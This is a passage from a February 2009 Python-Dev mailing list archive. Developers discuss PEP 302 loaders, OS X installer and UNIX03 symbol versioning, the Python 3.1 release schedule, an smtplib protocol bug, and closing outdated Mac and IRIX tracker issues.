at end up removing the > module unconditionally, as this is what PyImport_ExecCodeModuleEx() > does. PyImport_ReloadModule() has a super-duper hack to save the > module object and put it back into sys.modules: > > if (newm == NULL) { > /* load_module probably removed name from modules because of > * the error. Put back the original module object. We're > * going to return NULL in this case regardless of whether > * replacing name succeeds, so the return value is ignored. > */ > PyDict_SetItemString(modules, name, m); > } > > If we could get conforming loaders to behave as proposed, we wouldn't > need this ugly hack. > PEP 302 was updated in r69632. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ronaldoussoren at mac.com Sun Feb 15 09:34:49 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sun, 15 Feb 2009 09:34:49 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: <4997184D.7040306@v.loewis.de> References: <4996B376.1070107@v.loewis.de> <499707A0.7000200@v.loewis.de> <4997184D.7040306@v.loewis.de> Message-ID: <1C78B16D-3559-45E5-AB61-BA76127FEAE4@mac.com> On 14 Feb, 2009, at 20:15, Martin v. L?wis wrote: > Ronald Oussoren wrote: >> >> On 14 Feb, 2009, at 19:04, Martin v. L?wis wrote: >> >>>> A single installer could support both 32-bit on 10.4 and 64-bit on >>>> 10.5, but I don't think that's very useful because there are >>>> changes >>>> in the low-level unix API's that could result in different >>>> behaviour >>>> of a 32-bit and 64-bit script on the same system. In general 10.5 >>>> has >>>> much saner Unix API's than earlier releases. >>> >>> I don't get that. Why would the scripts behave differently on 10.5 >>> depending on whether the Python interpreter is 32-bit or 64-bit? >>> Surely, the Unix API does the same thing, whether invoked from 32- >>> bit >>> code, or 64-bit code, no? >> >> I should have been more clear: the unix API for code that runs on >> 10.4 is slightly different than that for code that runs on 10.5+, >> Apple >> basiclly fixed a number of UNIX API-compliance issues in 10.5. > > So how come? Are you really saying that 10.5 somehow knows whether the > code might also run on 10.4, and if so, deliberately behaves > differently? Yes. OSX supports a variant of symbol versioning. The dynamic linker can see for which system a binary was compiler build and links the right version of a symbol at runtime. There's the comment in the header files that defines the macro's used for symbol versioning: /* * The __DARWIN_ALIAS macros are used to do symbol renaming; they allow * legacy code to use the old symbol, thus maintiang binary compatability * while new code can use a standards compliant version of the same function. * * __DARWIN_ALIAS is used by itself if the function signature has not * changed, it is used along with a #ifdef check for __DARWIN_UNIX03 * if the signature has changed. Because the __LP64__ enviroment * only supports UNIX03 sementics it causes __DARWIN_UNIX03 to be * defined, but causes __DARWIN_ALIAS to do no symbol mangling. * * As a special case, when XCode is used to target a specific version of the * OS, the manifest constant __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ * will be defined by the compiler, with the digits representing major version * time 100 + minor version times 10 (e.g. 10.5 := 1050). If we are targetting * pre-10.5, and it is the default compilation environment, revert the * compilation environment to pre-__DARWIN_UNIX03. */ Simply put: when a binary is compiled to run on 32-bit 10.4 or earlier it will be linked to pre-Unix03 symbols, otherwise it will be linked with the Unix'03 compliant symbols/APIs. Some API's just behave differently, others have a different signature as well. > > So that a Python interpreter compiled for 10.4+ would behave > differently > on a specific 10.5 installation than a Python interpreter compiled for > 10.5+, on the very same system? > > If so, I'm -1 on providing two sets of binaries for the same Python > version (one in 10.4+ mode and one in 10.5+ mode). Otherwise, this > sounds like a good source of confusion: "are you using Python 3.1 > as compiled for 10.4 or 3.1 as compiled for 10.5?" - "well, how > do I tell?" It should be easy to provide that information. And anyway, we already have confusion about python builds anyway: the python.org, macports and fink builds of python are slightly different and some issues seem to crop up with some of the builds more often than with others. That is, I sometimes see questions on the pythonmac- sig from macports and fink users about issues that I've never run into with the python.org build. > > > Is this Apple's DLL hell? Not quite a hell, but still inconvenient. I guess it is time to start digging to check which API's have a different definition in UNIX03 to check if those could affect the behaviour of the Python interpreter. I know the value of "GETPGRP_HAVE_ARG" is affected by this, but Python scripts are shielded from that because the interface of the posix module is the same regardless of the value of this macro. We'd still end up with a build-hell when we'd want to provide a 4-way universal build that can run on 10.4 as well, because 64-bit code is always in UNIX03 mode, while 32-bit code that needs to run on 10.4 cannot be. I have some idea's about how to work around that issue, but need time to investigate the viability of those ideas. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From guido at python.org Sun Feb 15 17:59:12 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 15 Feb 2009 08:59:12 -0800 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> Message-ID: On Sat, Feb 14, 2009 at 12:29 PM, Benjamin Peterson wrote: > Here's a very tentative 3.1 release schedule. Thanks! Glad you're taking your new role of release manager seriously and are starting to plan ahead. > 3.1a1 March 7 (Saturday) > 3.1a2 April 11 (Saturday) > 3.1b1 May 2 (Saturday) > 3.1b2 May 23 (Saturday) > 3.1rc1 June 13 (Saturday) > 3.1rc2 June 27 (Saturday) And final release on...? > I'm interested in your feedback with regards to the amount of time in > beta and RC phase. Do you think we need that much time? Otherwise, we > could move the final release back sometime in mid June. It's a bit hard to compare this to other release schedules because it's coming much sooner after 3.0. I would guess this means that not as much has changed, and so the schedule could conceivably more compressed. If you want to take beta seriously as a time of consolidation where no new features should be added and no API changes should take place, you might consider dropping one beta, since in practice it is often hard to keep developers from wanting to change stuff anyways. You might also want to collect a list of serious changes that you want in this release; I know I/O in C is on the list (and without it I wouldn't consider it worth releasing) but there may be others. The developers of such features ought to be on board with delivering their code before the first beta. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From felix.schwarz at oss.schwarz.eu Sun Feb 15 17:38:44 2009 From: felix.schwarz at oss.schwarz.eu (Felix Schwarz) Date: Sun, 15 Feb 2009 17:38:44 +0100 Subject: [Python-Dev] smtplib violates SMTP spec Message-ID: <49984514.2020404@oss.schwarz.eu> Hi, I would like to get attention to issue 4142 [1] which was filed several months ago. This is about a clear bug in smtplib's SMTP implementation which is probably present since (at least) Python 1.5. When re-using an smtplib.SMTP instance for a second connection, smtplib does not send another HELO/EHLO which is a clear violation of the SMTP specification. I built a small patch (changes only 2 lines) but I'm unable to write a unit test for this easily because: * Python's smtpd does not check if HELO/EHLO was received before MAIL FROM * Therefore any extension of test_smtplib would need some patches to check this also. However, the patch is very small so it is very easy to test this manually. Just connect to a real world smtp (Exim is best because it is quite strict when it comes to SMTP verbs). fs [1] http://bugs.python.org/issue4142 From aahz at pythoncraft.com Sun Feb 15 18:10:13 2009 From: aahz at pythoncraft.com (Aahz) Date: Sun, 15 Feb 2009 09:10:13 -0800 Subject: [Python-Dev] smtplib violates SMTP spec In-Reply-To: <49984514.2020404@oss.schwarz.eu> References: <49984514.2020404@oss.schwarz.eu> Message-ID: <20090215171013.GA831@panix.com> On Sun, Feb 15, 2009, Felix Schwarz wrote: > > I would like to get attention to issue 4142 [1] which was filed several > months ago. This is about a clear bug in smtplib's SMTP implementation > which is probably present since (at least) Python 1.5. > > When re-using an smtplib.SMTP instance for a second connection, smtplib > does not send another HELO/EHLO which is a clear violation of the SMTP > specification. > > I built a small patch (changes only 2 lines) but I'm unable to write a > unit test for this easily because: > * Python's smtpd does not check if HELO/EHLO was received before MAIL FROM > * Therefore any extension of test_smtplib would need some patches to check > this also. If you want to increase the chance of your patch getting into 2.7/3.1, please provide a patch against smtpd in addition to your smtplib patch. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From ajaksu at gmail.com Sun Feb 15 21:13:08 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sun, 15 Feb 2009 17:13:08 -0300 Subject: [Python-Dev] Closing outdated Mac issues Message-ID: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> Hi, In the discussion of a feature request for MacPython[1], the OP (hhas) said: As of Python 2.6/3.0, all Mac-specific modules are deprecated/eliminated from the standard library and there are no longer any plans to submit appscript for possible inclusion. This issue should be rejected and closed. If that is the current state of Mac modules, there are no less than 17 issues* that should be closed, 4 bug reports** that might be kept open and 4 mixed-cases*** that might be obsolete/irrelevant. Besides amounting to 1% of open issues, these can divert efforts to bogus issues: I've submitted a patch for one of the mixed-cases (bug + feature request), but now don't think it was worth it. So, if someone could reassure / clarify the rules for closing these in general and/or take a quick look at specific issues, that would be a great help. Issue lists below. Regards, Daniel [1] http://bugs.python.org/issue916013 * Feature requests and implementation polishing issues: http://bugs.python.org/issue706585 Expose FinderInfo in FSCatalogInfo http://bugs.python.org/issue706592 Carbon.File.FSSpec should accept non-existing pathnames http://bugs.python.org/issue776533 Carbon.Snd module SPB constructor shadowed http://bugs.python.org/issue779285 Carbon Event ReceiveNextEvent http://bugs.python.org/issue806149 aetools.TalkTo methods can be obscured http://bugs.python.org/issue822005 Carbon.CarbonEvt.ReceiveNextEvent args wrong http://bugs.python.org/issue852150 Can't send Apple Events without WindowServer connection http://bugs.python.org/issue853656 Carbon.CF.CFURLRef should be easier to create http://bugs.python.org/issue869649 Quicktime missing funcitonality http://bugs.python.org/issue878560 Add a console window for Carbon MacPython applets http://bugs.python.org/issue881824 Add ResolveFinderAliases to macostools module http://bugs.python.org/issue1089399 Carbon.Res misses GetIndString http://bugs.python.org/issue1089624 Carbon.File.FSCatalogInfo.createDate implementation http://bugs.python.org/issue1090958 _AEModule.c patch http://bugs.python.org/issue1113328 OSATerminology still semi-broken http://bugs.python.org/issue1169679 modules missing from list of Carbon modules http://bugs.python.org/issue1254695 QuickTime API needs corrected object types ** Bug reports, might be worth fixing in 2.6: http://bugs.python.org/issue1004810 Carbon.File fails if server vol is mounted after launch http://bugs.python.org/issue1123727 gensuitemodule.processfile fails http://bugs.python.org/issue1700507 Carbon.Scrap.PutScrapFlavor http://bugs.python.org/issue1155 Carbon.CF memory management problem ** Probably out of date, irrelevant or both: http://bugs.python.org/issue779153 bgen requires Universal Headers, not OS X dev headers http://bugs.python.org/issue602291 Bgen should learn about booleans http://bugs.python.org/issue775321 plistlib error handling http://bugs.python.org/issue985064 plistlib crashes too easily on bad files From brett at python.org Sun Feb 15 21:43:59 2009 From: brett at python.org (Brett Cannon) Date: Sun, 15 Feb 2009 12:43:59 -0800 Subject: [Python-Dev] Closing outdated Mac issues In-Reply-To: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> Message-ID: On Sun, Feb 15, 2009 at 12:13, Daniel (ajax) Diniz wrote: > Hi, > > In the discussion of a feature request for MacPython[1], the OP (hhas) > said: > > As of Python 2.6/3.0, all Mac-specific modules are deprecated/eliminated > from the standard library and there are no longer any plans to submit > appscript for possible inclusion. This issue should be rejected and > closed. > > If that is the current state of Mac modules, there are no less than 17 > issues* that should be closed, 4 bug reports** that might be kept open > and 4 mixed-cases*** that might be obsolete/irrelevant. > > Besides amounting to 1% of open issues, these can divert efforts to > bogus issues: I've submitted a patch for one of the mixed-cases (bug + > feature request), but now don't think it was worth it. > > So, if someone could reassure / clarify the rules for closing these in > general and/or take a quick look at specific issues, that would be a > great help. > As of Python 2.6 everything Mac-specific is deprecated and in 3.0 they are gone (you can read PEP 3108 for the details or just note that the Mac/Modules directory is gone in 3.0). They will still be around in 2.7, though, as these are Py3K deprecations. Not sure what has been left in the Mac directory, but I think it is just random scripts (I never use the Mac-specific stuff so I don't know how useful some of them are to keep). Honestly, fixing them is fine but since the modules are deprecated but still in existence in 2.x, but they are definitely nothing above a normal priority issue. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajaksu at gmail.com Mon Feb 16 00:13:00 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sun, 15 Feb 2009 20:13:00 -0300 Subject: [Python-Dev] .Idle.py init file In-Reply-To: References: Message-ID: <2d75d7660902151513o79bf92e2r7744ff5c714bb280@mail.gmail.com> Mitchell, I can't find the string ".Idle.py" in trunk. If you haven't already, please open a documentation issue for this one. I don't see any obvious downside to this behavior and people might be relying on it by now. Thanks for reporting these IDLE issues! Daniel From ajaksu at gmail.com Mon Feb 16 00:17:25 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sun, 15 Feb 2009 20:17:25 -0300 Subject: [Python-Dev] Closing outdated Mac issues In-Reply-To: <2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com> References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> <2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com> Message-ID: <2d75d7660902151517p22440361u76f686dc2f0e1e4e@mail.gmail.com> Looks like the MDS ate the copy sent to the list, here's it again: Brett Cannon wrote: > As of Python 2.6 everything Mac-specific is deprecated and in 3.0 they > are gone (you can read PEP 3108 for the details or just note that the > Mac/Modules directory is gone in 3.0). They will still be around in 2.7, > though, as these are Py3K deprecations. OK, I've now read PEPs 3108 and 11, but still would like some ruling about RFEs in these stagnated Mac modules. Maybe PEP 4 could include a note about RFEs in deprecated modules? > Not sure what has been left in > the Mac directory, but I think it is just random scripts (I never use > the Mac-specific stuff so I don't know how useful some of them are to > keep). There are 40 C files, two headers and 69 python files in /Mac in trunk. The 2.6 (and 2.5.x) docs say development has stopped and that they'd be replaced in 2.5. So ISTM closing RFEs for these modules would be an improvement. > Honestly, fixing them is fine but since the modules are deprecated but > still in existence in 2.x, but they are definitely nothing above a > normal priority issue. OK, I'll let the bug reports open. What about RFEs? Daniel From benjamin at python.org Mon Feb 16 00:23:22 2009 From: benjamin at python.org (Benjamin Peterson) Date: Sun, 15 Feb 2009 17:23:22 -0600 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> Message-ID: <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> On Sun, Feb 15, 2009 at 10:59 AM, Guido van Rossum wrote: > On Sat, Feb 14, 2009 at 12:29 PM, Benjamin Peterson wrote: >> 3.1a1 March 7 (Saturday) >> 3.1a2 April 11 (Saturday) >> 3.1b1 May 2 (Saturday) >> 3.1b2 May 23 (Saturday) >> 3.1rc1 June 13 (Saturday) >> 3.1rc2 June 27 (Saturday) > > And final release on...? Oops! Forgot about that one. :) July 4th. >> I'm interested in your feedback with regards to the amount of time in >> beta and RC phase. Do you think we need that much time? Otherwise, we >> could move the final release back sometime in mid June. > > It's a bit hard to compare this to other release schedules because > it's coming much sooner after 3.0. I would guess this means that not > as much has changed, and so the schedule could conceivably more > compressed. If you want to take beta seriously as a time of > consolidation where no new features should be added and no API changes > should take place, you might consider dropping one beta, since in > practice it is often hard to keep developers from wanting to change > stuff anyways. Something like this? 3.1a1 March 7 3.1a2 April 4 3.1b1 May 2 3.1rc1 May 30 3.1rc2 June 13 3.1 Final June 27 That sounds reasonable. I will try to enforce a fairly strict stability policy during the beta and RCs. > You might also want to collect a list of serious changes that you want > in this release; I know I/O in C is on the list (and without it I > wouldn't consider it worth releasing) but there may be others. The > developers of such features ought to be on board with delivering their > code before the first beta. I've started a list on the release PEP [1]. [1] http://www.python.org/dev/peps/pep-0375/ -- Regards, Benjamin From nad at acm.org Mon Feb 16 03:58:51 2009 From: nad at acm.org (Ned Deily) Date: Sun, 15 Feb 2009 18:58:51 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: Message-ID: In article , Alex Martelli wrote: > On Sat, Feb 14, 2009 at 3:22 AM, Ned Deily wrote: > ... > > have done complete and thorough testing. (In particular, I have no > > access to a G5 for 64-bit PPC testing.) > I have a PowerMac G5 at home and I'll be glad to run tests if it > helps. Thanks, Alex. I'll contact you off-list about this. -- Ned Deily, nad at acm.org From skip at pobox.com Mon Feb 16 03:59:43 2009 From: skip at pobox.com (skip at pobox.com) Date: Sun, 15 Feb 2009 20:59:43 -0600 Subject: [Python-Dev] No 2.x->3.x porting documentation? Message-ID: <18840.54943.213210.118607@montanaro.dyndns.org> I apologize if this has been discussed here or elsewhere already. I'm offline as I write this so my only source of guidance is what I find in my Subversion checkouts. I'm making a naive stab at converting nose to Python3 so I can hopefully run the lockfile test cases under Python 3. (Again, I'm offline and have no idea at this point if it's been done already.) I ran 2to3 then tried installing. I got an immediate error about the compiler.consts module being missing. (All nose does is import CO_GENERATOR from compiler.consts.) I found that in the inspect module. Then it complained about ClassType being missing from the types module. I found no mention of changes to the types module in Misc/NEWS or Doc/whatsnew/3.0.rst. I didn't find anything which looked like a "porting" document. If neither of these changes could be handled by 2to3 I think it would have been useful to at least document the changes (in whatsnew/3.0.rst?) and maybe offer humans some workaround ideas. If there is a wiki page collecting porting wisdom it should be referenced. If I'm missing something fundamental about how people are expected to approach porting 2.x code to 3.x, please let me know. Thanks, Skip From benjamin at python.org Mon Feb 16 04:05:57 2009 From: benjamin at python.org (Benjamin Peterson) Date: Sun, 15 Feb 2009 21:05:57 -0600 Subject: [Python-Dev] No 2.x->3.x porting documentation? In-Reply-To: <18840.54943.213210.118607@montanaro.dyndns.org> References: <18840.54943.213210.118607@montanaro.dyndns.org> Message-ID: <1afaf6160902151905y59c34034r180f7833ca81c28f@mail.gmail.com> On Sun, Feb 15, 2009 at 8:59 PM, wrote: > If neither of these changes could be handled by 2to3 I think it would have > been useful to at least document the changes (in whatsnew/3.0.rst?) and > maybe offer humans some workaround ideas. If there is a wiki page > collecting porting wisdom it should be referenced. If I'm missing something > fundamental about how people are expected to approach porting 2.x code to > 3.x, please let me know. All your points are valid. See http://wiki.python.org/moin/PortingToPy3k Please contribute if you can! -- Regards, Benjamin From nad at acm.org Mon Feb 16 04:15:17 2009 From: nad at acm.org (Ned Deily) Date: Sun, 15 Feb 2009 19:15:17 -0800 Subject: [Python-Dev] RELEASED Python 3.0.1 References: Message-ID: In article , Benjamin Kaplan wrote: > Any chance of getting a Mac installer for this one? BTW, I see the a link to the OS X installer has now been added to the 3.0.1 release page: It would be great if someone could add OS X links for the 3.0.1 and 2.6.1 to the main download page, too: -- Ned Deily, nad at acm.org From nad at acm.org Mon Feb 16 04:44:07 2009 From: nad at acm.org (Ned Deily) Date: Sun, 15 Feb 2009 19:44:07 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: <6FC960B6-7723-4887-9342-FAC4D0C936C3@mac.com> Message-ID: In article <6FC960B6-7723-4887-9342-FAC4D0C936C3 at mac.com>, Ronald Oussoren wrote: > I'll be at Pycon and part of post-pycon sprint days (I'm flying back > on april 1st). I had already planned to try to get a mac-related > sprint going at pycon, I've added work on this on the list of possible > topics. Sounds like there will be no lack of things to talk about at Pycon! Thanks to everyone for their input on this. And congratulations on getting 3.0.1 - with OS X support - out there. -- Ned Deily, nad at acm.org From nad at acm.org Mon Feb 16 05:09:14 2009 From: nad at acm.org (Ned Deily) Date: Sun, 15 Feb 2009 20:09:14 -0800 Subject: [Python-Dev] Closing outdated Mac issues References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> <2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com> <2d75d7660902151517p22440361u76f686dc2f0e1e4e@mail.gmail.com> Message-ID: In article <2d75d7660902151517p22440361u76f686dc2f0e1e4e at mail.gmail.com>, "Daniel (ajax) Diniz" wrote: > Brett Cannon wrote: > > As of Python 2.6 everything Mac-specific is deprecated and in 3.0 they > > are gone (you can read PEP 3108 for the details or just note that the > > Mac/Modules directory is gone in 3.0). They will still be around in 2.7, > > though, as these are Py3K deprecations. > OK, I've now read PEPs 3108 and 11, but still would like some ruling > about RFEs in these stagnated Mac modules. Maybe PEP 4 could include a > note about RFEs in deprecated modules? > > Not sure what has been left in > > the Mac directory, but I think it is just random scripts (I never use > > the Mac-specific stuff so I don't know how useful some of them are to > > keep). Other than Mac/Modules, the rest of the Mac/ directory is mainly stuff used for building or going into the OS X installer images, including things like IDLE.app. These are used in 2.x and in 3.x. > There are 40 C files, two headers and 69 python files in /Mac in > trunk. The 2.6 (and 2.5.x) docs say development has stopped and that > they'd be replaced in 2.5. So ISTM closing RFEs for these modules > would be an improvement. > > > Honestly, fixing them is fine but since the modules are deprecated but > > still in existence in 2.x, but they are definitely nothing above a > > normal priority issue. > OK, I'll let the bug reports open. What about RFEs? I think the reasonable thing to do is close them as "not to be fixed/implemented". At this point, the chances that someone would fix them are pretty slim and, in many cases, I'm sure the module is either obsolete because other, and better supported, solutions are now available, like PyObjC or appscript. If people feel strongly about an issue, they can always ask to re-open it. Taking a quick look at your list, the only ones that may be worth looking at are the plistlib ones since it lives on in 3.x. I think all the rest are deprecated and gone in 3.x. -- Ned Deily, nad at acm.org From martin at v.loewis.de Mon Feb 16 10:29:46 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 16 Feb 2009 10:29:46 +0100 Subject: [Python-Dev] No 2.x->3.x porting documentation? In-Reply-To: <18840.54943.213210.118607@montanaro.dyndns.org> References: <18840.54943.213210.118607@montanaro.dyndns.org> Message-ID: <4999320A.2060705@v.loewis.de> > I'm making a naive stab at converting nose to Python3 so I can hopefully run > the lockfile test cases under Python 3. (Again, I'm offline and have no > idea at this point if it's been done already.) I ran 2to3 then tried > installing. I got an immediate error about the compiler.consts module being > missing. (All nose does is import CO_GENERATOR from compiler.consts.) I > found that in the inspect module. Then it complained about ClassType being > missing from the types module. I found no mention of changes to the types > module in Misc/NEWS or Doc/whatsnew/3.0.rst. I didn't find anything which > looked like a "porting" document. > > If neither of these changes could be handled by 2to3 I think it would have > been useful to at least document the changes (in whatsnew/3.0.rst?) and > maybe offer humans some workaround ideas. If there is a wiki page > collecting porting wisdom it should be referenced. If I'm missing something > fundamental about how people are expected to approach porting 2.x code to > 3.x, please let me know. I think you are missing the fact that it is nearly impossible to produce a complete list of changes between 2.x and 3.x, or, if such a list would be produced, it would have the size of the unified diff between the source trees. Instead, porters are expected to think a bit on what might have been the most natural cause for a change (of course, some changes are arbitrary and have no cause other than personal taste). For example, ClassType used to be the type of old-style classes. Now that old-style classes are gone, ClassType is gone as well (FWIW in 59217, and indeed without a mentioning in NEWS, or even in the commit message). The removal of the compiler package is mentioned in NEWS: http://svn.python.org/view/python/branches/p3yk/Misc/NEWS?rev=55322&view=markup Regards, Martin From solipsis at pitrou.net Mon Feb 16 12:33:14 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Mon, 16 Feb 2009 11:33:14 +0000 (UTC) Subject: [Python-Dev] No 2.x->3.x porting documentation? References: <18840.54943.213210.118607@montanaro.dyndns.org> Message-ID: pobox.com> writes: > > I'm making a naive stab at converting nose to Python3 so I can hopefully run > the lockfile test cases under Python 3. Apparently, Jason Pellerin has started a py3k branch for the same purpose: http://groups.google.com/group/nose-dev/browse_thread/thread/621c3767bbce3abc https://python-nose.googlecode.com/svn/branches/py3k Regards Antoine. From dalcinl at gmail.com Mon Feb 16 14:13:35 2009 From: dalcinl at gmail.com (Lisandro Dalcin) Date: Mon, 16 Feb 2009 11:13:35 -0200 Subject: [Python-Dev] Adding T_SIZET to structmember.h In-Reply-To: <499611E6.1020104@v.loewis.de> References: <5c6f2a5d0902130715x4d4f4beet7d936f9c549a1335@mail.gmail.com> <499611E6.1020104@v.loewis.de> Message-ID: Martin, I was not clear enough. Please, just tell me: Do you believe that this addition do make sense? Would you reject it for some reason (other than a bad patch) ? On Fri, Feb 13, 2009 at 10:35 PM, "Martin v. L?wis" wrote: >> Mark, the patch is not trivial, I cannot spend time on this until this >> is accepted. Hope you understand. > > I certainly do understand. So it's likely not going to happen. > > Regards, > Martin > -- Lisandro Dalc?n --------------- Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC) Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC) Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET) PTLC - G?emes 3450, (3000) Santa Fe, Argentina Tel/Fax: +54-(0)342-451.1594 From benjamin at python.org Mon Feb 16 17:54:43 2009 From: benjamin at python.org (Benjamin Peterson) Date: Mon, 16 Feb 2009 10:54:43 -0600 Subject: [Python-Dev] RELEASED Python 3.0.1 In-Reply-To: References: Message-ID: <1afaf6160902160854u6cf8c81ck219cbc7fddafdd3f@mail.gmail.com> On Sun, Feb 15, 2009 at 9:15 PM, Ned Deily wrote: > > It would be great if someone could add OS X links for the 3.0.1 and > 2.6.1 to the main download page, too: > I've now added them to the main download page. -- Regards, Benjamin From ziade.tarek at gmail.com Mon Feb 16 17:54:47 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Mon, 16 Feb 2009 17:54:47 +0100 Subject: [Python-Dev] Mark old distutils as deprecated In-Reply-To: <49904AB6.30205@egenix.com> References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> <49904AB6.30205@egenix.com> Message-ID: <94bdd2610902160854u1d1c3273v4b6649266560b5df@mail.gmail.com> 2009/2/9 M.-A. Lemburg : > On 2009-02-08 11:15, Tarek Ziad? wrote: >> Hello >> >> To avoid confusion, as suggested by Akira who works on cleaning the >> Distutils pages on the python.org website, >> I would like to move http://svn.python.org/view/distutils/trunk into a >> branch and add a README.txt in an empty trunk >> to explain the current status of the package. >> >> Any objection ? > > No. > > It be worthwhile keeping just the setup code and adjust that > to take the distutils package from the python/ dir in order to > build separate releases of the code for upload to PyPI (ones > that basically provide the code as released in Python 2.x as > separate download for 2.(x-1) and 2.(x-2)). Indeed, and for any Python version in fact, to get early feedbacks between two Python releases. I will make releases as you mentioned, and also a development release using the svn revision, so people can try out the current trunk. >>> '%sdev-r69676' % sys.version.split()[0] '2.7a0dev-r69676' Regards Tarek -- Tarek Ziad? | Association AfPy | www.afpy.org Blog FR | http://programmation-python.org Blog EN | http://tarekziade.wordpress.com/ From ajaksu at gmail.com Mon Feb 16 18:41:36 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Mon, 16 Feb 2009 14:41:36 -0300 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: <2d75d7660902141014m67a50baftba0058b9505978b9@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> <2d75d7660902141014m67a50baftba0058b9505978b9@mail.gmail.com> Message-ID: <2d75d7660902160941u1fb45d71t64d088ad4aef9292@mail.gmail.com> Daniel (ajax) Diniz wrote: > Can I close these other IRIX issues? > > http://bugs.python.org/issue2048 > http://bugs.python.org/issue1086642 > http://bugs.python.org/issue1178510 > http://bugs.python.org/issue1070140 So, I'll close these later this week (citing that "Irix is long dead and we don't support it in any form or version") unless opposition is voiced :) Daniel From ajaksu at gmail.com Mon Feb 16 18:50:06 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Mon, 16 Feb 2009 14:50:06 -0300 Subject: [Python-Dev] Issues to be closed: objections? Message-ID: <2d75d7660902160950t399f4a64s6b03259e5f565fdc@mail.gmail.com> Hi, I've marked some issues (25 now) to close, mostly because: - there was no reply from OP, nor a clear justification for the issue; - there are messages explaining why the issue is invalid; - the OSes/versions of the report suggest the issue is currently invalid; However, I've been mistaken about the desirability of leaving an issue open a couple of times in last days. So, I'd really appreciate if someone could take a quick look at the issues below to avoid any undesirable closing. I'll also mark them as pending later today, and plan to wait until the weekend before closing. Any suggestion/criticism about this plan would be welcome too. Thanks everybody for all the support, helping, patience and enduring the spam! Daniel http://bugs.python.org/issue1231081 platform.processor() could be smarter http://bugs.python.org/issue1251921 Fail codecs.lookup() on 'mbcs' and 'tactis' http://bugs.python.org/issue1248119 pdb 'next' does not skip list comprehension http://bugs.python.org/issue1169633 Install fail code 2932 after fail to copy python_icon.exe http://bugs.python.org/issue1111100 csv reader barfs encountering quote when quote_none is set http://bugs.python.org/issue1044299 compile error with stlport http://bugs.python.org/issue1047540 Turtle.py hangs Idle http://bugs.python.org/issue995956 TclError with intel's hypertheading http://bugs.python.org/issue1001150 hotspot profiler does not work correctly on P4 CPUs with HT http://bugs.python.org/issue974635 Slice indexes passed to __getitem__ are wrapped http://bugs.python.org/issue974159 Starting a script in OSX within a specific folder http://bugs.python.org/issue949667 file write() method and non-blocking mode. http://bugs.python.org/issue815753 SCO_SV: many modules cannot be imported http://bugs.python.org/issue727732 getpath.c-generated prefix wrong for Tru64 scripts http://bugs.python.org/issue875654 add support for installations compiled for debugging http://bugs.python.org/issue872815 How to pass the proxy server use socket http://bugs.python.org/issue854918 Configurable SSL handshake http://bugs.python.org/issue835176 [2.3.2] bz2 test failure on AIX 4.3.2, Tru64 UNIX http://bugs.python.org/issue809887 Improve pdb breakpoint feedback http://bugs.python.org/issue780354 socket.makefile() isn't compatible with marshal/cPickle/etc http://bugs.python.org/issue775340 OSX 'freeze' bug http://bugs.python.org/issue4191 urlparse normalize URL path http://bugs.python.org/issue1682241 Problems with urllib2 read() http://bugs.python.org/issue1210326 comma separated cookie values http://bugs.python.org/issue5072 urllib.open sends full URL after GET command instead of local path From mal at egenix.com Mon Feb 16 19:00:35 2009 From: mal at egenix.com (M.-A. Lemburg) Date: Mon, 16 Feb 2009 19:00:35 +0100 Subject: [Python-Dev] Mark old distutils as deprecated In-Reply-To: <94bdd2610902160854u1d1c3273v4b6649266560b5df@mail.gmail.com> References: <94bdd2610902080215u744941adwa5119eb22827029e@mail.gmail.com> 